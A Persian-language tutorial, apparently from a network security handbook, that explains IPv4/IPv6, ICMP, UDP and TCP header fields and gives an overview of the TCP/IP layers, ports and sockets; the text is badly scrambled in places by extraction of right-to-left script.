  هویت  پرچم ها  افست تکه

  مهلت زندگی  پروتکل  سر جمع سرآیند
   مبداIPآدرس 
   مقصدIPآدرس 

  
  داده ها

  
  

  )چهار بایت. ( است۴ برای نسخه قدیمی برابر با ۶ برابر با IPv6 را مشخص ميکند ، مقدار آن برای IP نسخه پروتکل :نسخه 
  

IHL :  ) طول سرآیند   ) :  یند اینترنت طول سرآIP      د    ٣٢ را بر حسب کلمات د        .  بيتی مشخص ميکن ی نداشته   ٣٢اگر سرآیند هيچ فيل  بيت
  )چهار بایت. ( خواهد بود۵باشد مقدار این فيلد 

  
ا           ٧ تا   ۴بيتهای  .  بلا استفاده هستند     ٨ و   ٣ تا   ١بيتهای   : TOSنوع سرویس    رای دیت وب ب  با استفاده از مقادیر زیر اولویت سرویس مطل

  :گرام را مشخص می کنند 
  پيش فرض 0000
  حداقل هزینه مالی 0001
  ابليت اطمينانحداکثر ق 0010
  حداکثر بازده 0100
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  حداکثر تاخير 1000
  حداکثر امنيت 1111

  
  )دو بایت. ( طول دیتا گرام ، شامل همه فيلد های سرآیند و داده را مشخص می کند:ل کطول 

  
ا             :هويت   رای سرهم کردن تکه ه ستم مقصد ب رود    برای هر دیتا گرام حاوی یک مقدار منحصر به فرد است ، که توسط سي ار مي ه ک . ب

  )دو بایت(
  

  :حاوی بيت های است که در طی فرایند تکه تکه کردن دیتا گرام به کار ميروند ، و مقادیر آنها شامل : پرچم ها 
  

  بلا استفاده  ١بيت 
  .مقدار یک در این فيلد سيستم را از تکه ، تکه کردن باز ميدارد  )تکه ، تکه نشود (٢بيت 
دار  . دار صفر در این بيت نشان ميدهد که آخرین تکه دیتا گرام ارسال شده است                مق  )تکه های دیگر ( ٣بيت  ه    ١و مق د ک شان ميده  ن

  .هنوز همه تکه ها ارسال نشده اند
  

  ) . بيتی ٨بر حسب واحد ( جایگاه تکه جاری را دیتا گرام مشخص ميکند : افست تکه 
  

TTL :  مهلت زندگی بسته را روی شبکه مشخص ميکند.  
  

د    : ل پروتک شخص ميکنن د داده را م ل فيل ات داخ ده اطلاع د کنن ه در   . تولي ادیری ک ه مق ه ب ا توج ل  RFC 1700ب ده و فای ف ش  تعری
PROTOCOL که روی تمام سيستم های عامل TCP/IP یافت ميشود ، که بعضی از آنها عبارتند از :  

  
1 ICMP 
2 IGMP 
3 GGP 
6 TCP 
8 EGP 
17 UDP 

  
  . محاسبه ميشودipاوی یک مقدار سر جمع است که به منظور تشخيص خطا فقط روی فيلد های سرآیند ح: سر جمع سرآیند 

  
  . سيستم توليد کننده دیتا گرام را مشخص ميکند IPآدرس :  مبدا IPآدرس 

  
  . سيستمی را که دریافت کننده نهایی دیتا گرام خواهد بود را مشخص ميکندIPآدرس :  مقصد IPآدرس 

  
  . تعریف شده اند باشد RFC Assigned Numbers انتخابی باشد که در ١۶ميتواند حاوی هر یک از   :  انتخاب ها

  
  .حاوی بار تحویل شده دیتا گرام است ، که شامل داده ای است که از پروتکل لایه انتقال به پایين تحویل داده شده است : داده 

  
IPv6 : 

  
م مشکلی      !!!  سال پيش اینترنت این قدر بزرگ شود  ٨ الی   ٧رد در این    همانگونه که قبلا گفتم هيچ کسی فکر نميک        ن پروتکل ه خوب ای

 IPv6 ميشود که با آمدن ایم پروتکل IPنداشت با این رشد انفجاری ولی فقط یک محدودیت را ایجاد کرد و ان هم مربوط به آدرس های                   
ودی   .  منتشر شد وجود دارد ١٩٩٨ که در سال RFC 2460خوب اکثر اصول کار این پروتکل در . این مشکل هم حل شد  رین بهب مهمت

رده              .  بيت ١٢٨ به   ٣٢ ایجاد شد مربوط به توسعه فضای آدرس از          IPv6که در این پروتکل      م ک رات کوچک دیگری ه ن پروتکل تغي ای
  .که به قرار زیر است 

  
د           فيلد های نا مربوط را از سرآیند پروتکل بردا       IPv6: فرمت ساده شده سرآیند      ه توسط پروتکل تولي رای اینکه سربار شبکه ک شته و ب

  .ميشود کاهش یابد سایر فيلد ها را اختياری کرده 
  

  .شامل ویژگی های توسعه امنيت است که تایيد اعتبار ، یکپارچگی داده و داده ها محرمانه را پشتيبانی ميکنند: توسعه امنيت 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٢٩    صفحه

  
برچسب " به منظور تقاضای یک کيفيت سرویس غير استاندارد ، به بسته های خاصی             برنامه ها را قادر ميسازد      : برچسب زنی جریان    

ای                  . بزنند  " جریان   این برای ان است که برنامه های که به ارتباط بلادرنگ نياز دارند ، مثلا صدا و تصویر ، دستيابی با اولویت به پهن
  ).لا به این فيلد اهميت نميدهند البته بيشتر مسيریاب های تجاری اص. (باند شبکه را تقاضا کنند

  
ه           . این پروتکل مفهوم سرآیند های اضافی را معرفی ميکند          : سرآیند های اضافی     اری هستند ک ه و اضافه و اختي آنها سرآیند های جداگان

د            IPبين سرآیند    رار ميگيرن ط توسط سي                   .  و بار تحویل شده به آن ق ه فق ه مقصد    سرآیند های اضافی حاوی اطلاعاتی هستند ک ستمی ک
رد رار ميگي تفاده ق ورد اس سته است م ایی ب ان و  . نه انی از مصرف زم ای مي ستم ه ای اضافی سي رآیند ه ه س ن اطلاعات ب ال ای ا انتق ب

  .سيکلهای ساعت پردازنده برای پردازش کردن آنها معاف خواهند شد
  
  

ICMP:  
  

  : قش دارد  دو نTCP/IP در مجموعه ICMPپروتکل پيغام های کنترل اینترنت ؛ 
  

  عمليات گزارش خطا را انجام ميدهد ، مثل مطلع کردن سيستم فرستنده وقتی اطلاعات ارسال شده نميتواند به مقصدش برسد ؛  )١
  

 .... وPingپيغام های پرس و جو ،  و پاسخ را برای برنامه های تشخيصی منتقل ميکند ، مثل  )٢
  

 و IP منتقل ميشود و در فيلد پروتکل سرآیند  IP تشکيل ميشود که در دیتا گرام   از پيغام هاییRFC 792این پروتکل بر اساس تعریف 
  .فرمت پيغام ها به صورت زیر است . نوع سرویس آنها به ترتيب مقادیر یک و صفر قراردارد

  
  نوع  کد  سر جمع

  
  داده
  

  
  .حاوی کدی است که عملکرد اصلی پيغام را مشخص می کند ) : یک بایت(نوع 

  
  .حاوی یک کد ثانویه است که عملکرد این نوع خاص پيغام را مشخص ميکند ) : ایتیک ب(کد 

  
  .   ، شامل فيلد های نوع ، کد ، سر جمع و داده ميباشدICMPحاوی نتایج یک محاسبه سر جمع روی کل پيغام های) : دو بایت(سر جمع 

  
  .حاوی اطلاعات خاص عملکرد پيغام می باشد ) : متغير(داده 

  
  : را مشاهده ميکنيد ICMPل زیر انواع پيغام های در جدو

  
  عملکرد  پرس و جو  کد  نوع
  پاسخ اکو  پ  ٠  ٠
  شبکه غير قابل دسترسی  خ  ٠  ٣
  ميزبان غير قابل دسترسی  خ  ١  ٣
  پروتکل غير قابل دسترسی  خ  ٢  ٣
  درگاه غير قابل دسترسی  خ  ٣  ٣
 Don’t Fragmentتکه تکه کردن لازم است در حالی که   خ  ۴  ٣

  .علامت خورده است 
  شکست در طی مسير مبدا  خ  ۵  ٣
  شبکه مقصد ناشناس  خ  ۶  ٣
  ميزبان مقصد ناشناس  خ  ٧  ٣
  ميزبان مبدا جدا شده است  خ  ٨  ٣
برقراری ارتباط با شبکه مقصد از سوی مدیریت ممنوع شده            خ  ٩  ٣
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  .است 
وع   خ  ١٠  ٣ دیریت ممن صد از سوی م ان مق ا ميزب اط ب راری ارتب برق

  .است شده 
  .شبکه مقصد برای این نوع سرویس غير قابل دسترسی است  خ  ١١  ٣
ميزبان مقصد برای این نوع سرویس غير قابل دسترسی   خ  ١٢  ٣

  است
  اطفاء مبدا  خ  ٠  ۴
  ) .یا زیر شبکه(باز جهت دهی دیتا گرام برای شبکه   خ  ٠  ۵
  .باز جهت دهی دیتا گرام برای ميزبان   خ  ١  ۵
  .ی دیتا گرام برای نوع سرویس و شبکه باز جهت ده  خ  ۵  ۵
  .باز جهت دهی دیتا گرام برای نوع سرویس و ميزبان   خ  ٣  ۵
  .تقاضای اکو   پ  ٠  ٨
  .اعلام مسيریاب   پ  ٠  ٩
  .درخواست مسيریاب   پ  ٠  ١٠
  .مهلت زندگی در وسط مسير به پایان رسيده   خ  ٠  ١١
   .مهلت سرهم بندی تکه ها به پایان رسيده است  خ  ١  ١١
  .اشاره گر ، خطا را مشخص کرده است   خ  ٠  ١٢
  .فقدان یک انتخاب ضروری   خ  ١  ١٢
  .طول نادرست   خ  ٢  ١٢
  .مهر زمانی   خ  ٠  ١٣
  .پاسخ مهر زمانی   خ  ٠  ١۴
  .تقاضای اطلاعات   خ  ٠  ١۵
  .پاسخ اطلاعات   خ  ٠  ١۶
  .تقاضای ماسک آدرس   خ  ٠  ١٧
  .پاسخ ماسک آدرس   خ  ٠  ١٨
  .ی مسير ردیاب  خ  ٠  ٣٠
  .خطای تبدیل دیتا گرام   خ  ٠  ٣١
  .باز جهت دهی ميزبان متحرک   خ  ٠  ٣٢
   .IPv6کجا هستی   پ  ٠  ٣٣
   .IPv6من اینجا هستم   پ  ٠  ٣۴
  .تقاضای ثبت متحرک   پ  ٠  ٣۵
  .پاسخ ثبت متحرک   پ  ٠  ٣۶

  
   : ICMPپيغام های خطای 

  
پيغام های خطای   . یافت و ارسال صحيح بسته رایانه مورد نظر مطلع شود    برای ان طراحی شده اند که از در        ICMPپيغام های خطای    

ICMP                                د اری ميکن ود وضعيت ک رای بهب اً ب ه الزام د و ن د پاسخ بده ن  .  فقط اطلاعات ميدهند ، سيستم دریافت کننده آنها نه ميتوان در ای
  .ت کاری انجام دهد حالت کاربر یا مدیر سيستم است که باید برای رفع مشکلی که موجب خطا شده اس

  
وع    .  بپردازند   ICMP ميتواند به توليد و ارسال پيغام های         TCP/IPبه طور کلی تمام سيستم های        ار ممن البته در چند مورد خاص این ک

  .است که در زیر مشاهده ميکنيد موارد مزبور را 
  

در غير اینصورت ممکن است تا اید بين    . د   پيغام خطا توليد نميکنن    ICMP در پاسخ به پيغام های خطای        TCP/IPسيستم های    •
ه پرس و جو های                         د در پاسخ ب ا ميتوانن ستم ه ام خطای   ICMPدو سيستم پيغام خطا رد بدل شود ، اما سي د  ICMP ، پيغ  تولي

 .کنند 
 . توليد کند ICMPدر مورد دیتا گرام تکه ، تکه شده است ، سيستم فقط برای تکه اول ميتواند پيغام خطای  •
ه آدرس       TCP/IPسيستم   • ا ارسال های ک ا   IP هرگز در پاسخ به ارسال های همگانی یا چند مقصد ی ، ی دا آنه  ٠٫٠٫٠٫٠ ی مب

 . توليد نميکند ICMP فرستاده شده اند  ، پيغام های خطای ١٢٧٫٠٫٠٫١است ، یا آنها که به آدرس دور برگردان 
  

  .ها را مورد بررسی قرار ميدهيم  و عملکرد آنICMPدر زیر رایج ترین انواع پيغام های خطای 
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ا اطلاعات                             –پيغام های مقصد غير قابل دسترسی        سته ی ه ب ده ک شان می دهن ا ن ام ه ن پيغ  همانگونه که از نام این پيغام ها بر می آید ، ای

اهی علت آن    پيغام های مختلف دقيقا مشخص ميکنند که  کدام جز غير قابل دسترسی ا. داخل بسته نميتواند به مقصد ارسال شود      ست و گ
  .معمولا این خطا در نتيجه نوعی خرابی موقتی یا دایمی در یک کامپيوتر یا یک رسانه شبکه پيش می آید . را نيز ذکر ميکنند 

  
ا –پيغام های اطفاء مبدا   رخ   وقتی بافر های دریافت کننده در حال پر شدن باشد او ميتواند یک پيغام اطفاء مبدا به فرستنده ارسال کند ت  ن

  .فرستنده به کمک کردن سرعت خود باید ادامه دهد تا دیگر این پيغام را دریافت نکند . ارسال خود را پایين آورد 
  

اب های دیگر از                 –پيغام های باز جهت دهی       ا مسير ی  این پيغام ها فقط توسط مسير یاب ها توليد ميشوند و برای آگاه کردن ميزبان ها ی
  .  مقصد خاص ميرسند به کار ميروند مسير های بهتری که به یک

  
ه        –پيغام های اتمام مهلت       این پيغام ها برای مطلع کردن سيستم ارسال کننده به کار ميروند ، که یک بسته به دليل اتمام مهلت دور ریخت

ه    را قادر ميسازد مسيری از شبکه را که بسته ها به سوی یک مقTrace routeاین پيغام ، برنامه . شده است  د را ب صد خاص پيموده ان
  .نمایش در آورد 

  
UDP : 

  
اربر      . UDP و TCP:  در لایه انتقال عمل می کنند TCP/IPدر پروتکل  رام ک ا گ ه در  ) udp(پروتکل دیت  تعریف شده   RFC 768ک

ه                ی ب ه حداقل سربار کنترل ال را ب ه حداقل سرویس انتق ان است ک ل اطمين ر قاب ه    است ، یک پروتکل بدون اتصال غي  پروتکل های لای
زارد       TCP مثل UDPبنابر این . کاربردی ارایه ميدهند    ار نمی گ ان را در اختي رل جری ا کنت طبيعت پروتکل   .  سرویس تصدیق بسته ی

UDP       ا رام ج ا گ  ان را فقط برای مبادلات کوچک مناسب ميکند ، که در آنها همه داده ای که باید به مقصد فرستاده شود فقط در یک دیت
شود         IPکه گاهی مثل پيغام      ( UDPسر آیند پيغام    . رد  ميگي ا سرآیند    )  به اشتباه دیتا گرام ناميده مي سه ب ایتی  ٢٠در مقای  کوچک  TCP ب

  .فرمت این پيغام ها به صورت زیر است .  بایت ميباشد ٨است و فقط 
  

  شماره درگاه مبدا  شماره درگاه مقصد
 UDPطول  UDPسر جمع 

  
  داده
  

  
  

رام                 :اه مبدا   شماره درگ  ا گ د       UDP شماره فرآیندی از سيستم ارسال کننده که داده موجود در دیت رده است را مشخص ميکن د ک .  را تولي
ه سرویس                                      رده است ک ه انتخاب ک ن مبادل رای ای ده ب ه سرویس گيرن ذر باشد ک اه زودگ در بعضی موارد ممکن است که این شماره درگ

  .است گيرنده برای این مبادله انتخاب کرده 
  

رام                    : شماره درگاه مقصد     ا گ ه داده موجود در دیت د    UDPشماره درگاه فرآیندی از سيستم مقصد را مشخص ميکند ک .  را دریافت خواه
  . فهرست شده اندTCP/IP روی هر سيستم Servicesشماره درگاه های معروف در فایل 

  
د های آدرس        UDP حاوی یک نتایج محاسبه سر جمع روی سرآیند و داده               :UDPطول   ه از فيل اذب ک دا ،  IP ، و یک سرآیند ک  ی مب

اذب پروتکل      . UDP تشکيل ميشود ميباشد به علاوه فيلد طول  IP مقصد ، و پروتکل واقع در سرآیند    IPآدرس   ن سرآیند ک  ی UDPای
  . است یا خير گيرنده را قادر ميسازد بررسی کند که آیا پيغام به دست پروتکل صحيحی از سيستم مقصد صحيح رسيده

  
  . حاوی اطلاعاتی است که پروتکل لایه کاربردی در اختيار گذاشته است : داده 

  
TCP : 

  
 است که اتصال گرا و قابل اطمينان است و اغلب داده های روی شبکه              UDP انتخاب دیگری در مقابل        TCPپروتکل کنترل ارسال که     

ه در      TCPپروتکل .  موجود است RFC 793 تعریف کامل این پروتکل در. را آنها منتقل ميکنند  اد داده ک سبتا زی ادیر ن ال مق  برای انتق
  : به صورت زیر است TCPفرمت یک پيغام . یک بسته جا نميگيرد به کار ميرود 
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  در گاه مبدا  در گاه مقصد
  شماره دنباله
  شماره تصدیق

  افست داده  رزرو  بيت های کنترلی  پنجره
  سر جمع  اشاره گر اضطراری

  انتخاب ها
  داده
  

ه های                –درگاه مبدا    ه داده موجود در قطع رده است    TCP شماره درگاه فرآیندی از سيستم ارسال کننده را مشخص ميکند ک د ک .  را تولي
  .در بعضی موارد ممکن است این یک شماره درگاه زودگذر باشد که سرویس گيرنده برای این مبادله انتخاب کرده است 

  
  .  را دریافت خواهد کرد TCP شماره درگاه فرآیندی از سيستم مقصد را مشخص ميکند که داده موجود در قطعه های –در گاه مقصد 

  
  . جایگاه داده این قطعه را در کل دنباله مشخص ميکند –شماره دنباله 

  
  .تنده دارد ، مشخص ميکند شماره دنباله قطعه بعدی را که سيستم تصدیق کننده انتظار دریافت آن را از فرس–شماره تصديق 

  
  .  بایتی مشخص ميکند ۴ را بر حسب کلمات TCP طول سرآیند –افست داده 

  
  . بلا استفاده –رزرو 

  
  : شامل شش پرچم یک بيتی است با مفاهيم زیر –نترلی کبيتهای 

  
URG –کند  نشان ميدهد که دنباله ، حاوی داده اضطراری است و فيلد اشاره گر اضطراری را فعال می .  
ACK – نشان ميدهد که پيغام ، تصدیق داده است که قبلا ارسال شده است ، و فيلد شماره تصدیق را فعال می کند .  
PSH –                       ه توسط ه ای ک ه برنام د ب ه صبر کن رای بقي دون اینکه ب ه جاری را ب ه داده های دنبال ه هم د ک ای ميکن  سيستم گيرنده را راهنم

  .ل دهد شماره درگاه مشخص شده است تحوی
RST –              سيستم گيرنده را راهنمای ميکند که همه قطعه هایی دنباله را که تا به حال ارسال شده اند دور بریزد و اتصال TCP  اره  را دوب

  .برقرار کند 
SYS – در مدت فرآیند برقراری اتصال برای همگام کردن شماره دنباله سيستم های مبدا و مقصد به کار ميرود .  
FIN –م دیگر نشان ميدهد که ارسال داده تمام شده است و اتصال خاتمه دهد  به سيست.  

  
  . را پياده سازی می کندTCP با مشخص کردن تعداد بایت های که سيستم ميتواند از فرستنده قبول کند مکانيزم کنترل جریان –پنجره 

  
د های آدرس        و یک سرآین    TCPحاوی یک محاسبه سر جمع است که روی سرآیند و داده             –سر جمع    اذب از فيل دا ، آدرس  IPد ک  ی مب

IP ی مقصد و پروتکل واقع در سرآیند IP ی بسته تشکيل ميشود ، انجام ميشود و با طول کل پيغام TCP جمع ميشود  .  
  

ده اض      URG این فيلد که توسط بيت      –اشاره گر اضطراری     د توسط گيرن ه بای د ک طراری  فعال ميشود داده ای از دنباله را مشخص ميکن
  .تشخيص داده شود 

  
  . باشد TCP ممکن است شامل پارامتر های پيکر بندی اضافی برای اتصال –انتخاب ها 

  
ل داده شده است          –داده   ایين تحوی ه پ اربردی ب سته های   .  ممکن است حاوی یک قطعه از اطلاعاتی باشد که از یک پروتکل لایه ک در ب

SYS و ACK و FIN این فيلد حالی می ماند  .  
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   :TCP/IPل کلی بر پروتکمروری 
  

ن پروتکل را                   اده ای انی س ا زب ا کامل است و ب ه تقریب ن مقال دوستان چونکه دیگر رمقی برای تایپ مطلب برایم باقی نمانده بود و دیدم ای
  . توضيح داده اند من نيز ان را در اینجا می آورم 

  
  . برداشته ام Srco.irروش لازم به ذکر است که ایم مقاله را از سایت سخا  

  
  

   TCP/IPل که پروتيم اوليمفاه
  

TCP/IP   ، ر   یا.  وتری است يامپک ه های  کل های استفاده شده در شب   کن پروت یی از مهمتر  یک وان بزرگت ب ینترنت بعن ه موجود ، از  کن ش
اوت کپروت ای متف تگاه ه اط دس وق بمنظور ارتب تفاده می نما ل ف وانکپروت. دیاس وه ن يل ، مجموعه ق ودن نح د نم لازم بمنظور قانونمن

الاتی  .وتری است يامپکه های کارتباطات در شب   ه بررسی ا     ک در مجموعه مق د شد ب ه خواه ن ی در ا. م پرداخت  يل خواه ک ن پروتی ه ارائ
شر       یفرآ:  همچون    بخش مواردی  تفاده از سو        TCP/IPل  ک ه های پروت   ی ح لا یند انتقال اطلاعات ، معرفی و ت رای    ک و نحوه اس اد  یات ب ج

  .ح می گرددی، تشر ز در ارتباطاتیتما

  مقدمه 

روزه ا بکام ر ش ای کث ب سيامپکه ه زرگ و اغل ود از پروتيوتری ب ل موج ای عام تفاده و حما  ، TCP/IPل کستم ه دیت می نمایاس . ن
TCP/IP  راهم می آورد        ريستم های غ  يانات لازم بمنظور ارتباط س    ک، ام شابه را ف م پروت   یاز و. م ه     لک ژگی های مه وان ب وق ، می ت  ف

واردی همچون  ر روی محيقابل: م اوت ، ضريت اجراء ب الا ،قابليب اطمیط های متف ان ب اره ين از . رد کت گسترش و توسعه آن ، اش
وع . ی استفاده می گردديکترونکا پست الیر وب و يس های متنوع آن نظینترنت و استفاده از سرویابی به ا  يل فوق، بمنظور دست   کپروت   تن
  وتریيامپک ه های  کان تحقق ارتباط در شبکگر، ام یدیک آنها با    يکستماتي و ارتباط منطقی و س     TCP/IP در پشته      موجود  ل های کپروت

ددی نظ   ي ، شامل فعال     ارتباط یکند برقراری   یفرآ. دیرا با اهداف متفاوت ، فراهم می نما        د  :ر ي ت های متع ام   لی تب ه آدرس  يامپک  ن وتر ب
IP     دی اطلاعات ، آدرس دهی و روت    يامپکت يمودن موقع معادل ، مشخص ن سته بن ا  يوتر مقصد ، ب ت ي  بمنظور ارسال موفق   نگ داده ه
  . ردي انجام می گ TCP/IPل های موجود در پشته ک مجموعه پروت ه توسطکز به مقصد مورد نظر ، بوده يآم

  
   TCP/IPل کمعرفی پروت

  

TCP/IP ل فوق، بمنظور کاز پروت.  است٢٠٠٠ندوز یه مبتنی بر وک شبیکوترهای موجود در يامپکلی استاندارد برای ارتباط ک ، پروت
ه مجزا سازماندهی شده    یلا ه در چهار  کل های متعددی    کق پروت ی از طر   برقراری ارتباط . ه های بزرگ استفاده می گردد     کارتباط در شب  

ه ين زمیفه ای خاص در ا   يارای وظ  ، د  TCP/IP در پشته     ل های موجود  ک از پروت  یکهر  . سر می گردد  ي ، م   اند اط  (  ن راری ارتب   )برق
ند  ی باش ان ا. م اد یدر زم کج اط ، ممی کن است در ک ارتب داد زی ه تع ا ی لحظ ا ، ب ه ه رار نمایدیکادی از برنام اط برق دیگر ارتب   .ن
TCP/IP   وده و پس از در  ر برنامه ها یوتر با سا يامپک یک برنامه موجود بر روی      یکز  ی و تما  کيکت تف ي ، دارای قابل ا از   یب افت داده ه

 TCP/IPل ک  توسط پروت  ارسال داده نحوه. دی می نما گر ارسالیوتر ديامپک برنامه متناظر موجود بر روی   برنامه ، آنها را برای  یک
  .  است  سهی نامه از شهری به شهر، قابل مقایکند ارسال ی با فرآ گر ،یاز محلی به محل د 

برنامه فوق ،داده های مورد نظر . وتر مبدا آغاز می گردد    يامپک برنامه بر روی     یک ، با فعال شدن      TCP/IP بر   برقراری ارتباط مبتنی  
ند   يامپکه برای کد یجهت ارسال را بگونه ای آماده و فرمت می نما         تفاده باش دن و اس انی      . ( وتر مقصد قابل خوان ا زب ه ب شابه نوشتن نام م

ه  ) .  آن باشد  ننده ، قادر به مطالعه    کافت  یه در ک ردد        يامپک  آدرس   در ادام ه داده های مربوطه اضافه می گ شابه آدرس  ( وتر مقصد ، ب م
رای تائ  درخواستی ( مراه اطلاعات اضافی       ه ات فوق ، داده به    يپس از انجام عمل   ) .  نامه مشخص می گردد    یکه بر روی    کرنده  يگ د ي  ب
ب   )افت در مقصد    یدر ده ک ه بحرک ، در طول ش ا ب   ت درآم ورد نظر برسد     ت ه مح    ي عمل. ه مقصد م اطی ب وق ، ارتب ب  يات ف ال ش ه کط انتق

  .ط انتقال ، انجام خواهد شد يردی مستقل نسبت به محیکات فوق با رويبمنظور انتقال اطلاعات نداشته ، و تحقق عمل
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   TCP/IPل که های پروتيلا
  

TCP/IP  ل های متعددی در پشته ک از پروت ن راستایر ارا سازماندهی و د ندهای لازم بمنظور برقراری ارتباط    ی ، فرآTCP/IP استفاده 
ا در لا    ک ند های مورد نظر، پروت    یی در تحقق فرآ   یارآکش  یبمنظور افزا . می گردد  د      ی ل ه اوتی، سازماندهی شده ان اطلاعات  . ه های متف

ب يامپکب  ين ترت یمربوط به آدرس دهی در انتها قرار گرفته و بد          ادر کوترهای موجود در ش د       ه ق وب خواهن ا سرعت مطل ه بررسی آن ب  ب
ردازش       انکوتر مقصد معرفی شده است ، ام      يامپکه بعنوان   کوتری  يامپک صرفا    ن راستا، یدر ا . بود ام پ  باز نمودن بسته اطلاعاتی و انج

ه محل د   ه بمنظور ارسال اطلاعات از مح ی مدل ارتباطی چهار لا    یک ، از    TCP/IP. های لازم بر روی آن را دارا خواهد بود         ی ب گر  یل
تفاده می نما    می   TCP/IPل ک ه های موجود در پروت  ی  ، لاNetwork Interface و Application ,Transport ,Internet: دی اس

  . رندي قرار می گ ه های فوق،یی از لایک ، با توجه به رسالت خود ، در TCP/IP پشته  ل های وابسته بهک پروت  ازیکهر .باشند

  

  

  

   Applicationه يلا
  

  ه فوق،ی با استفاده از لا ، هین لایاربردی در اکتمامی برنامه و ابزارهای . است TCP/IPه در پشته ین لای ، بالاترApplicationه یلا
اربران استفاده می که بمنظور فرمت دهی و مبادله اطلاعات ین لایل های موجود در اکپروت. ه خواهند بودکابی به شب یقادر به دست

  . می باشند  هین لایل ها ی موجود در اک دو نمونه از پروت  FTP و HTTP. گردند 

ل های صفحات وب مربوط به یل فوق ، بمنظور ارسال فاکاز پروت) . HTTP)Hypertext Transfer Protocolل کپروت •
  . وب ، استفاده می گردد 

  .  استفاده می گردد  ل،یافت فایرل فوق برای ارسال و دکاز پروت) . FTP)File Transfer Protocolل کپروت •

  

   Transportه يلا
  

ا ی و  ) ه بالای خود  یلا (  Applicationه  یوترها و ارسال داده به لا     يامپکن  ين ارتباط ب  يب و تضم  يجاد نظم و ترت   یت ا ي، قابل " حمل  " ه  یلا
ه ای   ه ب  ن مشخصه منحصريه فوق ، همچنیلا. را بر عهده دارد) ن خودیيه پایلا( نترنت  یه ا یلا ردی از برنام وده   ک ف ه داده را عرضه نم

  . ندینترل می نماکع داده را یه نحوه توزکل اساسی است که دارای دو پروتین لایا. دی مشخص می نما است ،

•  TCP)Transmission Control Protocol . (اطلاعات است  ع ین صحت توزيل فوق ، مسئول تضمکپروت . 
•  UDP)User Datagram Protocol( . سئول یع اطلاعات بدون پذیان عرضه سرکل فوق ، امکپروت ا   يرفتن م تی در رابطه ب

  . ع اطلاعات را برعهده دارد ین صحت توزيتضم
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  نترنت يه ايلا
  

  : ل اساسی است که فوق ، شامل چهار پروتیلا.  ، است نگ داده هاي، مسئول آدرس دهی ، بسته بندی و روت" نترنتیا "ه یلا

•  IP)Internet Protocol . (ل فوق ، مسئول آدرسی داده ها بمنظور ارسال به مقصد مورد نظر است کپروت .  
• ARP)Address Resoulation Protocol . (ودن آدرس کپروت سئول مشخص نم وق ، م  MAC)Media Accessل ف

Control (وتر مقصد استيامپکه بر روی کآداپتور شب.    
•  ICMP)Internet Control Message Protocol . (ع ع    ک پروت ه تواب وق ، مسئول ارائ ابی و گزارش خطاء در   ی ب ي ل ف

  .  اطلاعات است  حي صح عیصورت عدم توز
•  IGMP)Internet Group Managemant Protocol . (د  کپروت   TCP/IP در   Multicastingت یریل فوق ، مسئول م

  .را برعهده دارد

  

   Network Interfaceه يلا
  

وق ، شامل   ی لا. ه است کط انتقال شبيافت داده از محیه و درکط انتقال شبي، مسئول استقرار داده بر روی مح" ه کس شب ينترفیا" ه  یلا ه ف
انزده      یکدارای  ) آداپتور( ه  کارت شب ک. ه است   کهای شب  ه و آداپتور  کابل شب کر  يی نظ یکزيدستگاه های ف    (   عدد دوازده رقمی مبنای ش

رف یا" ه ی لا. ده می شود   ي ، نام  MAC آدرس    هکه  بود ) B5-50-04-22-D4-66: ر  ينظ ب ينت ر    ک ، شامل پروت " ه کس ش ی ب ل های مبتن
ا   )ATM)Asynchronous Transfer Mode و Ethernet  ل های ک پروت. ه های قبل ، نمی باشدی لا نرم افزار مشابه ه ه ی ی ، نمون

  . ندیه را مشخص می نماکه ارسال داده در شبل های فوق ، نحوکپروت. ه می باشند ین لایل های موجود در اکاز پروت

  

  مشخص نمودن برنامه ها 
  

ب ای کدر ش ددی در يامپکه ه ا ی متع ه ه کوتری ، برنام ا ی ان ب دیدیک زم ی گردن رتبط م ديکزمان. گر م ر روی یه چن ه ب کن برنام  ی
د . دیگر، استفاده نماینامه د برنامه از بریکز ی روشی بمنظور تما   ست از ی ، می با   TCP/IPوتر فعال می گردند ،      يامپک ن منظور ، از  یب

  . برنامه خاص ، استفاده می گرددیک بمنظور مشخص نمودن  )Socket( ت ک سویک

  

   IPآدرس 
  

اط    ي شرط اول ( وترهای مبداء و مقصد است  يامپکه ، مستلزم مشخص شدن آدرس    ک شب یکبرقراری ارتباط در     راری ارتب ه بمنظور برق
اط ، توسط   یر در فرآي از دستگاه های درگیکآدرس هر ) . ر در ارتباط است يودن آدرس نقاط درگ  ن دو نقطه ، مشخص ب     يب  یک ند ارتب

د        ي نام  IP  هکفرد  ه  ب عدد منحصر  ه هر     . ده می شود ، مشخص می گردن وق ب ب     يامپک از   یک آدرس ف سبت داده  کوترهای موجود در ش ه ن
  . ه است نين زمی ، نمونه ای در ا١٠٫١٫١. ١٠   :IP. می شود 
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     TCP/UDPپورت 
  

 ) UDPا ی و TCP" (  حمل "ه یل های لاکی از پروتیکپورت با .وتر خاص است يامپک یک برنامه و در یکپورت مشخصه ای برای 
رای    .  را شامل شود۶۵۵٣۵ن صفر تا يپورت می تواند عددی ب.  می شود دهي ، نامUDPا پورت ی و  TCP و پورت     مرتبط ا ب ورت ه پ

 ختم و رزرو می  ١٠٢۴متر از کده شده و به اعداد     ينام "  شناخته شده "س دهنده ، بعنوان پورت های       ی سمت سرو  TCP/IPهای  برنامه  
ده    یبرنامه سرو  "  مثلا. دیاير برنامه ها بوجود ن    یبا سا  چگونه تعارض و برخوردی     يشوند تا ه   ورت    FTPس دهن ا ی ست و ي ب  TCP از پ

  .دی استفاده می نما یکست ويب

  

    )Socket(ت کوس
  

و  ی از کيت ، ترکس کب ورت IP آدرس ی ورت  ی وTCP و پ ویک.  است UDPا پ ه ، س ودن آدرس ک برنام شخص نم ا م  IPتی را ب
ورتی  ) UDPا  ی ع اطلاعات و     ین توز ي برای تضم  TCP( س  یوتر و نوع سرو   يامپکمربوط به    شاندهنده ک و پ ه است، مشخص     ه ن  برنام

رای   کوتر مقصد را فراهم و پورت مربوطه ، برنامه ای را           يامپک  ان آدرس دهی  کت ، ام  کسو موجود در    IPآدرس  . دیمی نما  ا ب ه داده ه
  .دیآن ارسال می گردد را مشخص می نما

  

   .م پرداخت يخواهTCP/IPل های موجود در کن بخش ، به بررسی پروتیدر ا

  
 TCP/IPش پروت امل ش یک ،ش ای  و م ) TCP,UDP,IP,ICMP,IGMP، ARP ( ل اساس ه ه ه ای از برنام اربردی کجموع

